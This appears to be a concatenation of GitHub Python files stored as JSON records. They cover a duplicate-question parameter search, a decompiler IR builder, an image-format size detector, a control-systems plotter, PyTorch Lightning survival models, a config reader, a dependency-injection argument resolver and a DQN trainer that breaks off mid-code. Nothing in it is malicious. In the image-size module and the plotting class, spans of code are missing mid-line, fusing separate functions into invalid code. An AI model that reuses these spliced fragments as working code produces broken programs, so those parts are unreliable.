b=1\n c=0\n while c= self.K:\n heapq.heappop(init_heap)\n\n # return list of pairs (score, qid)\n return init_heap\n\n def param_estimation(self):\n \"\"\"estimates all the parameters of the weighted sum of the components\"\"\"\n\n # expected output = alpha, beta, gamma, delta\n # return a array with 4 tuple values\n\n # best params and score from all restarts\n best_params = [0 for _ in range(5)]\n best_score = 0\n\n # heaps for each duplicate question which contain top K questions as predicted by algorithm\n q_heaps = {\n _id: heapq.heapify([]) for _id in self.dup_score_details.keys()\n }\n\n for _ in tqdm(range(self.iterations)):\n\n # random restart type approach, for each iteration choose a new set of starting params\n init_params = [random() for _ in range(5)]\n\n for dup_q_id in self.dup_score_details.keys():\n q_heaps[dup_q_id] = self.cal_param_scores_for_a_question(init_params,\n self.dup_score_details[dup_q_id][\n \"scores\"])\n # score for initial set of params\n init_score = self.evaluation_criteria(q_heaps)\n\n # trial params are copy of initial set of params\n params = init_params.copy()\n\n # update and try values for each parameter iteratively\n for i in tqdm(range(5)):\n j = 0\n while j < 1.01:\n # try each value from 0 to 1\n params[i] = j\n\n # iterate through each duplicate question\n for dup_q_id in self.dup_score_details.keys():\n # calculate scores using current set of trial params\n q_heaps[dup_q_id] = self.cal_param_scores_for_a_question(params,\n self.dup_score_details[dup_q_id][\n \"scores\"])\n score = self.evaluation_criteria(q_heaps)\n\n # if score for these sets of parameters is better than best score for this iteration, then update\n # best params of this iteration \n if score > init_score:\n init_params[i] = j\n init_score = score\n j += 0.05\n\n # update trial params to best params of current restart before fine-tuning next parameter\n params[i] = init_params[i]\n\n # take best params of each iteration in random restart\n if init_score > best_score:\n best_params = init_params.copy()\n best_score = init_score\n\n # return best params from all restarts\n return best_params, best_score\n\n def evaluation_criteria(self, q_heaps):\n\n # I curently have a heap with qid as key and list of pairs of (score, best candid)\n # exp found in dup_score_details[qid][expected_questions]\n\n wanted_q_ids = list(q_heaps.keys())\n success_num = 0\n success_denom = len(wanted_q_ids)\n for curr_q_id, curr_heap in q_heaps.items():\n predicted_best = set([x[1] for x in curr_heap])\n actual_best = self.dup_score_details[curr_q_id]['expected_questions']\n matched = predicted_best.intersection(actual_best)\n if len(matched):\n success_num += 1\n params_score = success_num / success_denom\n return params_score\n\n\nif __name__ == \"__main__\":\n begin = datetime.datetime.now()\n\n composer = Composer(duplicate_details_path=sys.argv[1])\n composer.load_file()\n best_params, best_score = composer.param_estimation()\n print(f'final best score: {best_score} with {best_params} params')\n\n print(datetime.datetime.now() - begin)\n","repo_name":"anmolagarwal999/Multi-Factor-Duplicate-Question-Detection-in-Stack-Overflow","sub_path":"jac_training.py","file_name":"jac_training.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"13453213154","text":"import inspect\n\nimport decompil.ir\n\n\nclass Position:\n def __init__(self, basic_block, index):\n self.basic_bloc = basic_block\n self.index = index\n\n\nclass Builder:\n\n def __init__(self):\n _create_build_methods()\n self.basic_block = None\n self.index = None\n self.current_origin = None\n\n @property\n def position(self):\n if self.basic_block is not None:\n return Position(self.basic_block, self.index)\n else:\n return None\n\n @property\n def current_basic_block(self):\n return self.basic_block\n\n def create_basic_block(self):\n return self.basic_block.function.create_basic_block()\n\n def set_position(self, position):\n self.basic_block = position.basic_block\n self.index = position.index\n\n def position_at_entry(self, function):\n self.basic_block = function.entry\n self.index = 0\n\n def position_at_start(self, basic_block):\n self.basic_block = basic_block\n self.index = 0\n\n def position_at_end(self, basic_block):\n self.basic_block = basic_block\n self.index = len(basic_block.instructions)\n\n def insert_instruction(self, insn):\n assert self.position\n self.basic_block.insert(self.index, insn)\n self.index += 1\n\n def set_origin(self, origin):\n self.current_origin = origin\n\n\n_build_method_created = False\ndef _create_build_methods():\n global _build_method_created\n\n if _build_method_created:\n return\n else:\n _build_method_created = True\n\n kind_to_cls = {}\n for names in dir(decompil.ir):\n obj = getattr(decompil.ir, names)\n if (\n inspect.isclass(obj)\n and issubclass(obj, decompil.ir.BaseInstruction)\n and obj != decompil.ir.BaseInstruction\n ):\n for kind in obj.KINDS:\n kind_to_cls[kind] = obj\n\n for kind, name in decompil.ir.NAMES.items():\n cls = kind_to_cls[kind]\n\n def create_build_method(cls, name, kind):\n\n def build(self, *operands, **kwargs):\n if 'origin' not in kwargs:\n kwargs['origin'] = self.current_origin\n func = self.basic_block.function\n args = [func]\n if len(cls.KINDS) > 1:\n args.append(kind)\n args.extend(operands)\n insn = cls(*args, **kwargs)\n self.insert_instruction(insn)\n if insn.type != func.context.void_type:\n return insn.as_value\n\n return 'build_{}'.format(name), build\n\n method_name, method = create_build_method(\n kind_to_cls[kind], name, kind\n )\n setattr(Builder, method_name, method)\n","repo_name":"pmderodat/decompil","sub_path":"decompil/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16542430673","text":"'''Recognize image file formats and size based on their first few bytes.\r\n\r\nThis module is a port of Image::Size Perl Module\r\nsee more http://search.cpan.org/author/RJRAY/Image-Size-3.01/lib/Image/Size.pm\r\n\r\nported by jigloo(phus@live.com)\r\nadd rgbsize rassize pcxsize function\r\n\r\nNew BSD license\r\n'''\r\n# see https://github.com/phuslu/imgsz\r\n\r\n__version__ = '2.1'\r\n__all__ = ['what', 'size', 'frombytes']\r\n\r\nimport io\r\nimport re\r\nfrom struct import unpack\r\n\r\nfrom PIL import Image\r\n\r\n\r\ndef _jpegsize(stream):\r\n '''gets the width and height (in pixels) of a JPEG file'''\r\n x, y = 0, 0\r\n # Dummy read to skip header ID\r\n stream.read(2)\r\n while 1:\r\n # Extract the segment header.\r\n (marker, code, length) = unpack('!BBH', stream.read(4))\r\n # Verify that it's a valid segment.\r\n if marker != 0xFF:\r\n # Was it there?\r\n raise ValueError('JPEG marker not found')\r\n elif code >= 0xC0 and code <= 0xC3:\r\n # Segments that contain size info\r\n (y, x) = unpack('!xHH', stream.read(5))\r\n break\r\n else:\r\n # Dummy read to skip over data\r\n stream.read(length - 2)\r\n if x == 0 or y == 0:\r\n raise ValueError('could not determine JPEG size')\r\n return 'JPEG', x, y\r\n\r\n\r\ndef _bmpsize(stream):\r\n '''size a Windows-ish BitMap image'''\r\n x, y = 0, 0\r\n # Dummy read to skip header data\r\n stream.read(18)\r\n (x, y) = unpack(' num_dirent:\r\n break\r\n tag = unpack(be + 'H', ifd[:2])[0] # ...and decode its tag\r\n type = unpack(be + 'H', ifd[2:2 + 2])[0] # ...and the data type\r\n # Check the type for sanity.\r\n if type > len(packspec) or packspec[type] is None:\r\n continue\r\n if tag == 0x0100: # ImageWidth (x)\r\n # Decode the value\r\n x = unpack(packspec[type], ifd[8:4 + 8])[0]\r\n elif tag == 0x0101: # ImageLength (y)\r\n # Decode the value\r\n y = unpack(packspec[type], ifd[8:4 + 8])[0]\r\n\r\n # Decide if we were successful or not\r\n\r\n if x == 0 or y == 0:\r\n error = '%s%s%s ' % ('ImageWidth ' if x == 0 else '',\r\n ' and ' if x + y > 0 else '',\r\n 'ImageHeigth ' if y == 0 else '')\r\n error += 'tag(s) could not be found'\r\n raise ValueError(error)\r\n\r\n return 'TIFF', x, y\r\n\r\n\r\ndef _psdsize(stream):\r\n '''determine the size of a PhotoShop save-file (*.PSD)'''\r\n x, y = 0, 0\r\n stream.read(14)\r\n (y, x) = unpack('!LL', stream.read(8))\r\n if x == 0 or y == 0:\r\n raise ValueError('could not determine PSD size')\r\n return 'PSD', x, y\r\n\r\n\r\n# pcdsize :\r\n# Kodak photo-CDs are weird. Don't ask me why, you really don't want details.\r\nPCD_MAP = {'base/16': (192, 128),\r\n 'base/4': (384, 256),\r\n 'base': (768, 512),\r\n 'base4': (1536, 1024),\r\n 'base16': (3072, 2048),\r\n 'base64': (6144, 4096)}\r\n# Default scale for PCD images\r\nPCD_SCALE = 'base'\r\n\r\n\r\ndef _pcdsize(stream):\r\n '''determine the size of a file in Kodak photo-CDs'''\r\n x, y = 0, 0\r\n buff = stream.read(0xf00)\r\n if buff[0x800:3 + 0x800] != 'PCD':\r\n raise ValueError('Invalid/Corrupted PCD (bad header)')\r\n orient = ord(buff[0x0e02:1 + 0x0e02]) & 1 # Clear down to one bit\r\n if orient:\r\n (x, y) = PCD_MAP[PCD_SCALE]\r\n else:\r\n (y, x) = PCD_MAP[PCD_SCALE]\r\n return 'PCD', x, y\r\n\r\n\r\ndef _bin(n, count=32):\r\n '''returns the binary of integer n, using count number of digits'''\r\n return ''.join([str((n >> i) & 1) for i in range(count - 1, -1, -1)])\r\n\r\n\r\ndef _swfsize(stream):\r\n '''determine size of ShockWave/Flash files.'''\r\n x, y = 0, 0\r\n header = stream.read(33)\r\n bs = ''.join([_bin(c, 8) for c in unpack('B' * 17, header[8:17 + 8])])\r\n bits = int(bs[:5], 2)\r\n x = int(bs[(5 + bits):bits + (5 + bits)], 2) / 20\r\n y = int(bs[(5 + bits * 3):bits + (5 + bits * 3)], 2) / 20\r\n if x == 0 or y == 0:\r\n raise ValueError('could not determine SWF size')\r\n return 'SWF', x, y\r\n\r\n\r\ndef _swfmxsize(stream):\r\n '''determine size of Compressed ShockWave/Flash files.'''\r\n import zlib\r\n x, y = 0, 0\r\n stream.read(8)\r\n z = zlib.decompressobj()\r\n header = z.decompress(stream.read(1024))\r\n del z\r\n bs = ''.join([_bin(c, 8) for c in unpack('B' * 9, header[:9])])\r\n bits = int(bs[:5], 2)\r\n x = int(bs[(5 + bits):bits + (5 + bits)], 2) / 20\r\n y = int(bs[(5 + bits * 3):bits + (5 + bits * 3)], 2) / 20\r\n if x == 0 or y == 0:\r\n raise ValueError('could not determine CWS size')\r\n return 'CWS', x, y\r\n\r\n\r\ndef _mngsize(stream):\r\n '''gets the width and height (in pixels) of an MNG file.\r\n Basically a copy of pngsize.'''\r\n x, y = 0, 0\r\n stream.read(12)\r\n if stream.read(4) == b'MHDR':\r\n # MHDR = Image Header\r\n x, y = unpack('!LL', stream.read(8))\r\n else:\r\n raise ValueError('Invalid/Corrupted MNG (bad header)')\r\n return 'MNG', x, y\r\n\r\n\r\ndef _rgbsize(stream):\r\n '''gets the width and height (in pixels) of a SGI file.'''\r\n x, y = 0, 0\r\n stream.read(6)\r\n x, y = unpack('!HH', stream.read(4))\r\n if x == 0 or y == 0:\r\n raise ValueError('could not determine SGI size')\r\n return 'RGB', x, y\r\n\r\n\r\ndef _rassize(stream):\r\n '''gets the width and height (in pixels) of a Sun raster file.'''\r\n x, y = 0, 0\r\n stream.read(4)\r\n x, y = unpack('!LL', stream.read(8))\r\n if x == 0 or y == 0:\r\n raise ValueError('could not determine Sun raster size')\r\n return 'RAS', x, y\r\n\r\n\r\ndef _pcxsize(stream):\r\n '''gets the width and height (in pixels) of a ZSoft PCX File.'''\r\n x, y = 0, 0\r\n stream.read(4)\r\n (xmin, ymin, xmax, ymax) = unpack(' str:\n duration = run_info[\"duration\"]\n dt = run_info[\"dt\"]\n x_0 = sympy.Matrix(run_info[\"x_0\"])\n run_name = run_info[\"name\"]\n caption = run_info[\"caption\"] if \"caption\" in run_info else \"\"\n A = sympy.Matrix([\n [-2, 1],\n [0, -1]\n ])\n B = sympy.Matrix([\n [0],\n [1]\n ])\n C = sympy.eye(2)\n D = sympy.Matrix([[0],[0]])\n k = sympy.Matrix(run_info[\"k\"])\n time_steps = [\n t for t in np.arange(start=0, stop=duration, step=dt)\n ]\n inputs = [\n sympy.Matrix([[0]]) for t in time_steps\n ]\n outputs = ModelSystem(\n update=non_linear_update,\n output=linear_output,\n x_0=x_0,\n inputs=inputs,\n k=k,\n dt=dt,\n C=C,\n D=D\n )\n graph_location = f\"resources/{run_name}.png\"\n QuestionFour.plotter(\n time_steps,\n outputs,\n graph_location,\n run_name,\n )\n inst = TemplateCore.instance()\n return inst.filter(\n \"image\",\n [f\"../{graph_location}\", caption, f\"fig:{run_name}\"]\n ) \n\n @staticmethod\n def plotter(time_steps: Iterable[float],\n outputs: Iterable[sympy.Matrix],\n save_file: str,\n title_name: str,\n output_names: Iterable[str] = None):\n \"\"\"\n takes the system outputs and plots them, returns the file path\n \"\"\"\n fig = plt.figure()\n axis = fig.add_axes([0.15, 0.15, 0.75, 0.75])\n outputs = np.concatenate(outputs, axis=1)\n if output_names is None:\n output_names = []\n for i in range(len(outputs)):\n output_names.append(f\"output {i}\")\n\n for output, name in zip(outputs, output_names):\n axis.plot(time_steps, output.T, label=name)\n axis.set_title(title_name)\n axis.set_xlabel('Time(s)')\n axis.set_ylabel('System outputs')\n axis.legend()\n fig.savefig(save_file)\n \n","repo_name":"NathanRoseCE/ControlsClass","sub_path":"HomeworkFive/Filters/QuestionFour.py","file_name":"QuestionFour.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"13645115028","text":"\nimport torch\nimport torch.nn as nn \nimport pandas as pd\nimport numpy as np\nimport sys\nsys.path.append('/home/petaon/python_packages/site-packages')\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport pandas as pd\nimport pytorch_lightning as pl\nfrom models import loss_func, concordance_index\n\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclass LightningnDeep(pl.LightningModule):\n\n def __init__(self, \n input_size = 12, \n layer_hidden_sizes = [3,3,5],\n num_layers = 3,\n bias = True,\n dropout = 0.0,\n bidirectional = False,\n batch_first = True,\n label_size = 1,\n E=1):\n super().__init__()\n self.E = E\n self.num_layers = num_layers\n self.rnn_models = nn.ModuleList([])\n if bidirectional:\n layer_input_sizes = [input_size] + [2 * chs for chs in layer_hidden_sizes]\n else:\n\n layer_input_sizes = [input_size] + layer_hidden_sizes\n for i in range(num_layers):\n self.rnn_models.append(nn.LSTM(input_size = layer_input_sizes[i],\n hidden_size = layer_hidden_sizes[i],\n num_layers = num_layers,\n bias = bias,\n dropout = dropout,\n bidirectional = bidirectional,\n batch_first = batch_first))\n self.label_size = label_size\n self.output_size = layer_input_sizes[-1]\n self.output_func = nn.Linear(self.output_size, self.label_size) \n\n def forward(self, input_data):\n X = input_data['X'].float()\n M = input_data['M'].float()\n cur_M = input_data['cur_M'].float()\n _data = X\n for temp_rnn_model in self.rnn_models:\n _data, _ = temp_rnn_model(_data)\n outputs = _data\n all_output = outputs * M.unsqueeze(-1)\n n_batchsize, n_timestep, n_featdim = all_output.shape\n all_output = self.output_func(outputs.reshape(n_batchsize*n_timestep, n_featdim)).reshape(n_batchsize, n_timestep, self.label_size)\n cur_output = (all_output * cur_M.unsqueeze(-1)).sum(dim=1)\n return all_output, cur_output\n\n def surv_loss(self, pred, lifetime, event, device = 'cpu'):\n return loss_func(pred, lifetime, event, device = device)\n\n def training_step(self, train_batch, batch_idx):\n E = self.E\n _, yhat = self.forward(train_batch) \n loss = self.surv_loss(pred = yhat, \n lifetime=torch.tensor(np.sum(train_batch['T'].detach().cpu().numpy(), axis = 1)),\n event=torch.tensor(train_batch['Y'][:, E-1]),\n device='cpu')\n self.log('train_loss', loss)\n \n return {'loss': loss, 'pred': yhat, 'T': train_batch['T'], 'event': train_batch['Y'][:, E-1]}\n\n\n def validation_step(self, val_batch, batch_idx):\n E = self.E\n\n _, yhat = self.forward(val_batch)\n loss = self.surv_loss(pred = yhat, \n lifetime=torch.tensor(np.sum(val_batch['T'].detach().cpu().numpy(), axis = 1)),\n event=torch.tensor(val_batch['Y'][:, E-1]),\n device='cpu')\n\n self.log('val_loss', loss)\n \n def test_step(self, test_batch, batch_idx):\n E = self.E\n _, yhat = self.forward(test_batch)\n acc = concordance_index(np.sum(test_batch['T'].detach().cpu().numpy(), axis = 1), \n np.exp(yhat), \n test_batch['Y'][:, E-1])\n self.log('c-index', acc)\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=1e-3)\n return optimizer\n\nclass LightningMTLnDeep(pl.LightningModule):\n\n def __init__(self, \n in_features,\n shared_layers = [3],\n num_tasks = None, \n lstm_layers = [3, 3, 5], \n bias = True,\n dropout = 0.0, \n batch_first = True,\n bidirectional = False,\n label_size = 1):\n super().__init__()\n self.save_hyperparameters()\n self.sharedlayer = nn.Sequential(\n nn.Linear(in_features, shared_layers[0]* in_features), \n nn.BatchNorm1d(shared_layers[0]* in_features),\n nn.ReLU(), \n )\n\n if bidirectional:\n layer_input_sizes = [(shared_layers[-1]+1)*in_features] + [2 * chs for chs in lstm_layers]\n else:\n\n layer_input_sizes = [(shared_layers[-1]+1)*in_features] + lstm_layers \n\n self.rnn_models = nn.ModuleList([])\n\n for i in range(len(lstm_layers)):\n self.rnn_models.append(nn.LSTM(input_size = layer_input_sizes[i],\n hidden_size = lstm_layers[i],\n num_layers = len(lstm_layers),\n bias = bias,\n dropout = dropout,\n bidirectional = bidirectional,\n batch_first = batch_first))\n self.in_features = in_features\n self.shared_layers = shared_layers\n self.lstm_layers = lstm_layers\n self.label_size = label_size\n self.output_size = layer_input_sizes[-1]\n self.num_tasks = num_tasks\n self.task = nn.ModuleList()\n for task in range(num_tasks):\n self.task.append(nn.Sequential(\n self.rnn_models,\n nn.Linear(self.output_size, self.label_size)))\n\n self.output_func = nn.Linear(self.output_size, self.label_size)\n \n def forward(self, input_data):\n x_wide = torch.stack([x[0] for x in input_data['X']])\n residual = x_wide.float()\n shared = self.sharedlayer(x_wide.float()) \n shared = torch.cat((shared, residual), dim=1)\n time = np.sum(input_data['T'].detach().cpu().numpy(), axis = 1) \n X = []\n for i in range(len(shared)):\n if time[i]< 2:\n X.append(shared[i])\n else:\n X.append(shared[i].repeat(time[i].astype(int), 1))\n \n # Replicate x_series similar to DatasetReader\n x_series = torch.zeros(len(X),\n len(input_data['M'][0]), \n (self.shared_layers[0]+1) * self.in_features) \n \n for i in range(len(X)): \n x_series[i][:len(X[i]), :] = X[i] \n X = x_series\n M = input_data['M'].float()\n cur_M = input_data['cur_M'].float()\n output = []\n for task in self.task:\n _data = X \n for temp_rnn_model in self.rnn_models: \n _data, _ = temp_rnn_model(_data)\n outputs = _data\n all_output = outputs * M.unsqueeze(-1)\n n_batchsize, n_timestep, n_featdim = all_output.shape\n all_output = self.output_func(outputs.reshape(n_batchsize*n_timestep, n_featdim)).reshape(n_batchsize, n_timestep, self.label_size)\n cur_output = (all_output * cur_M.unsqueeze(-1)).sum(dim=1)\n output.append(cur_output) \n return output \n\n def surv_loss(self, pred, lifetime, event):\n return loss_func(pred, lifetime, event, device='cpu') \n\n def training_step(self, train_batch, batch_idx): \n task_nums = self.num_tasks \n yhat = self.forward(train_batch) \n train_loss = []\n for i in range(task_nums):\n loss = self.surv_loss(pred = yhat[i], \n lifetime=torch.tensor(np.sum(train_batch['T'].detach().cpu().numpy(), axis = 1)), #to device?\n event=torch.tensor(train_batch['Y'][:, i]),\n ) \n train_loss.append(loss)\n train_loss = sum(train_loss)/len(train_loss)\n self.log('train_loss', train_loss) \n \n return {'loss': train_loss, 'pred': yhat, 'T': train_batch['T'], 'event': train_batch['Y'][:, i]}\n\n\n def validation_step(self, val_batch, batch_idx): \n task_nums = self.num_tasks \n yhat = self.forward(val_batch) \n val_loss = []\n for i in range(task_nums):\n \n loss = self.surv_loss(pred = yhat[i], \n lifetime=torch.tensor(np.sum(val_batch['T'].detach().cpu().numpy(), axis = 1)), #to device?\n event=torch.tensor(val_batch['Y'][:, i]),\n ) \n val_loss.append(loss)\n val_loss = sum(val_loss)/len(val_loss)\n self.log('val_loss', val_loss)\n \n def test_step(self, test_batch, batch_idx): \n task_nums = self.num_tasks \n yhat = self.forward(test_batch)\n accs = {}\n for i in range(task_nums):\n acc = concordance_index(np.sum(test_batch['T'].detach().cpu().numpy(), axis = 1), \n np.exp(yhat[i]),\n test_batch['Y'][:, i])\n accs['event_' + str(i+1)] = acc\n \n self.log('c-index', accs)\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=1e-3)\n return optimizer\n\n\ndef pl_ndeep(train, train_f, test, valid, input_size, task_name , n_epochs=1):\n model = LightningnDeep(input_size = input_size, \n layer_hidden_sizes = [3,3,5])\n trainer = pl.Trainer(max_epochs=n_epochs)\n trainer.fit(model, train, valid)\n \n test_result = trainer.test(model, dataloaders=test, verbose=False)\n train_result = trainer.test(model, dataloaders=train_f, verbose=False)\n return train_result, test_result\n\ndef pl_mtl_ndeep(train, train_f, test, valid, input_size, num_tasks, n_epochs=1):\n model = LightningMTLnDeep(in_features=input_size, num_tasks=num_tasks)\n trainer = pl.Trainer(max_epochs=n_epochs) \n trainer.fit(model, train, valid) \n train_result = trainer.test(model, dataloaders=train_f, verbose=False)\n test_result = trainer.test(model, dataloaders=test, verbose=False)\n return train_result, test_result","repo_name":"ngocdung03/nDeep","sub_path":"ndeep/lib/pylightning.py","file_name":"pylightning.py","file_ext":"py","file_size_in_byte":10372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"3487712690","text":"import configparser\n\n\nclass ReadIni:\n def __init__(self):\n self.data = self.load_ini()\n\n def load_ini(self):\n cf = configparser.ConfigParser()\n cf.read(r'/Users/zhangjiangtao/PycharmProjects/selenium_chrome/config/LocalElement.ini')\n return cf\n\n # def __init__(self):\n # self.cf = configparser.ConfigParser()\n # self.cf.read(r'/Users/zhangjiangtao/PycharmProjects/selenium_chrome/config/LocalElement.ini')\n\n def get_value(self, list_name, key):\n print(list_name, key)\n return self.data.get(list_name, key)\n\n\nif __name__ == '__main__':\n aa = ReadIni()\n print(aa.get_value('element', 'username'))\n\nread_ini = ReadIni()","repo_name":"zyzcyd/selenium_chrome","sub_path":"read_init.py","file_name":"read_init.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"37236081504","text":"import types\nfrom logging import Logger\nfrom injecta.container.ContainerInterface import ContainerInterface\nfrom injecta.dtype.AbstractType import AbstractType\nfrom injecta.module import attribute_loader\nfrom injecta.parameter.all_placeholders_replacer import replace_all_placeholders, find_all_placeholders\nfrom injecta.service.class_.InspectedArgument import InspectedArgument\nfrom daipecore.decorator.StringableParameterInterface import StringableParameterInterface\n\n\nclass ArgumentResolver:\n def __init__(\n self,\n logger: Logger,\n container: ContainerInterface,\n ):\n self.__logger = logger\n self.__container = container\n\n def resolve(self, function_argument: InspectedArgument, decorator_argument):\n if decorator_argument is not None:\n return self.__resolve_explicit_value(function_argument, decorator_argument)\n\n argument_type = function_argument.dtype\n\n if function_argument.has_default_value():\n return self.__check_type(function_argument.default_value, argument_type, function_argument.name)\n\n if not argument_type.is_defined():\n raise Exception(f'Argument \"{function_argument.name}\" must either have explicit value, default value or typehint defined')\n\n if str(argument_type) == \"logging.Logger\":\n return self.__logger\n\n class_ = attribute_loader.load(argument_type.module_name, argument_type.class_name)\n\n return self.__container.get(class_)\n\n def __resolve_explicit_value(self, function_argument: InspectedArgument, decorator_argument):\n argument_type = function_argument.dtype\n\n if isinstance(decorator_argument, str):\n output = self.__resolve_string_argument(decorator_argument)\n return self.__check_type(output, argument_type, function_argument.name)\n if isinstance(decorator_argument, StringableParameterInterface):\n output = self.__resolve_string_argument(decorator_argument.to_string())\n return self.__check_type(output, argument_type, function_argument.name)\n if isinstance(decorator_argument, types.FunctionType):\n return decorator_argument()(self.__container)\n # isinstance(decorator_argument, InputDecorator) does not work probably due to some cyclic import\n if hasattr(decorator_argument, \"_is_decorator\") and decorator_argument._is_decorator is True: # pylint: disable=protected-access\n return decorator_argument.result\n\n return self.__check_type(decorator_argument, argument_type, function_argument.name)\n\n def __resolve_string_argument(self, decorator_argument):\n if decorator_argument[0:1] == \"@\":\n return self.__container.get(decorator_argument[1:])\n\n matches = find_all_placeholders(decorator_argument)\n\n if not matches:\n return decorator_argument\n\n parameters = self.__container.get_parameters()\n\n return replace_all_placeholders(decorator_argument, matches, parameters, decorator_argument)\n\n def __check_type(self, value, expected_type: AbstractType, argument_name: str):\n value_type_str = value.__class__.__module__ + \".\" + value.__class__.__name__\n expected_type_str = str(expected_type)\n\n if expected_type.is_defined() and value_type_str != expected_type_str:\n expected_type_str = expected_type_str.replace(\"builtins.\", \"\")\n value_type_str = value_type_str.replace(\"builtins.\", \"\")\n raise Exception(f'Argument \"{argument_name}\" is defined as {expected_type_str}, {value_type_str} given instead')\n\n return value\n","repo_name":"daipe-ai/daipe-core","sub_path":"src/daipecore/function/ArgumentResolver.py","file_name":"ArgumentResolver.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"54659293","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\n\r\nfrom ..algorithms.dqn import get_trainee\r\nfrom .trainer_base import _TrainerBase\r\n\r\n\r\nclass TrainerDQN(_TrainerBase):\r\n \"\"\"Trainer for DQN\"\"\"\r\n\r\n def __init__(self, model_name, device,\r\n pos_rm_path, neg_rm_path,\r\n encoder_params, learning_params, model_params,\r\n ep_rm_path=None, seed=None):\r\n super().__init__(\r\n model_name,\r\n device,\r\n pos_rm_path,\r\n neg_rm_path,\r\n encoder_params,\r\n learning_params,\r\n model_params,\r\n ep_rm_path,\r\n seed\r\n )\r\n\r\n def set_trainee(self):\r\n \"\"\"Prepare trainee\"\"\"\r\n # Get model architecture and online-target map\r\n nets, target_map = get_trainee(\r\n self.config_model,\r\n self.device\r\n )\r\n self.dqn, self.target_dqn = nets\r\n self.target_map = target_map\r\n\r\n # Print number of trainable parameters\r\n self._print_num_params(self.dqn.parameters(), name=\"DQN\")\r\n\r\n # Prepare optimizer and scheduler\r\n self.optimizer = optim.AdamW(\r\n self.dqn.parameters(),\r\n lr=self.config_learning[\"learning_rate\"],\r\n amsgrad=True\r\n )\r\n self.optimizers = [self.optimizer]\r\n self.schedulers = self._prepare_schedulers()\r\n self.criterion = nn.SmoothL1Loss()\r\n\r\n # Get DQN type and set correct training step method\r\n double_learning = self.config_model[\"double_learning\"]\r\n if double_learning:\r\n self._training_step = self._training_step_double\r\n elif self.config_model[\"type\"] == \"dueling\":\r\n self._training_step = self._training_step_duel\r\n else:\r\n self._training_step = self._training_step\r\n\r\n def _training_step(self, batch, step_i, gamma, print_q):\r\n \"\"\"Single training step\"\"\"\r\n # Load batch\r\n state, item, reward, next_state, candidates, not_done = batch\r\n n_candidates = candidates.shape[1]\r\n\r\n # Compute current q-value\r\n q_value = self.dqn(state, item)\r\n q_value = q_value.squeeze(-1)\r\n\r\n with torch.no_grad():\r\n # Copy next state for each candidate\r\n rep_shape = self._get_rep_shape(state.shape, n_candidates)\r\n next_state_rep = next_state.unsqueeze(1).repeat(*rep_shape)\r\n\r\n # Compute q-values for all candidates\r\n next_q_value = self.target_dqn(next_state_rep, candidates)\r\n next_q_value = next_q_value.squeeze(-1)\r\n\r\n # Set q-values produced by padded-candidates to large negative number\r\n next_q_value = torch.nan_to_num(next_q_value, nan=-10000)\r\n # Find max q-value and compute target\r\n max_next_q_value = torch.max(next_q_value, dim=1).values\r\n q_target = reward + (gamma * max_next_q_value * not_done)\r\n\r\n # Update DQN\r\n if print_q:\r\n print(\"[INFO] example Q values: \")\r\n print(q_value)\r\n loss = self.criterion(q_value, q_target)\r\n self.optimizer.zero_grad()\r\n loss.backward()\r\n self.optimizer.step()\r\n\r\n def _training_step_duel(self, batch, step_i, gamma, print_q):\r\n \"\"\"Single dueling DQN training step\"\"\"\r\n # Load batch\r\n state, item, reward, next_state, candidates, not_done = batch\r\n n_candidates = candidates.shape[1]\r\n\r\n with torch.no_grad():\r\n # Copy next state for each candidate\r\n rep_shape = self._get_rep_shape(state.shape, n_candidates)\r\n next_state_rep = next_state.unsqueeze(1).repeat(*rep_shape)\r\n\r\n # Compute q-values for all candidates\r\n next_vals, next_adv = self.target_dqn(next_state_rep, candidates)\r\n next_q_value = (next_adv - next_adv.nanmean(dim=1).unsqueeze(1)) + \\\r\n next_vals.nanmean(dim=1).unsqueeze(1)\r\n next_q_value = next_q_value.squeeze(-1)\r\n\r\n # Set q-values produced by padded-candidates to large negative number\r\n next_q_value = torch.nan_to_num(next_q_value, nan=-10000)\r\n # Find max q-value and compute target\r\n max_next_q_value = torch.max(next_q_value, dim=1).values\r\n q_target = reward + (gamma * max_next_q_value * not_done)\r\n\r\n # Compute current q-value\r\n value, adv = self.dqn(state, item)\r\n q_value = value + \\\r\n (adv - next_adv.nanmean(dim=1).nan_to_num(nan=0))\r\n q_value = q_value.squeeze(-1)\r\n\r\n # Update DQN\r\n if print_q:\r\n print(\"[INFO] example Q values: \")\r\n print(q_value)\r\n loss = self.criterion(q_value, q_target)\r\n self.optimizer.zero_grad()\r\n loss.backward()\r\n self.optimizer.step()\r\n\r\n def _training_step_double(self, batch, step_i, gamma, print_q):\r\n \"\"\"Single double DQN training step\"\"\"\r\n state, item, reward, next_state, candidates, not_done = batch\r\n n_candidates = candidates.shape[1]\r\n\r\n # Compute current q-value\r\n q_value = self.dqn(state, item)\r\n q_value = q_value.squeeze(-1)\r\n\r\n with torch.no_grad():\r\n # Copy next state for each candidate\r\n rep_shape = self._get_rep_shape(state.shape, n_candidates)\r\n next_state_rep = next_state.unsqueeze(1).repeat(*rep_shape)\r\n\r\n # Compute q-values for all candidates with online network\r\n next_q_value = self.dqn(next_state_rep, candidates)\r\n next_q_value = next_q_value.squeeze(-1)\r\n\r\n # Set q-values produced by padded-candidates to large negative number\r\n next_q_value = torch.nan_to_num(next_q_value, nan=-10000)\r\n # Find best candidate\r\n argmax_next_q_value = torch.argmax(next_q_value, dim=1)\r\n best_candidates = candidates[\r\n torch.arange(candidates.shape[0]),\r\n argmax_next_q_value\r\n 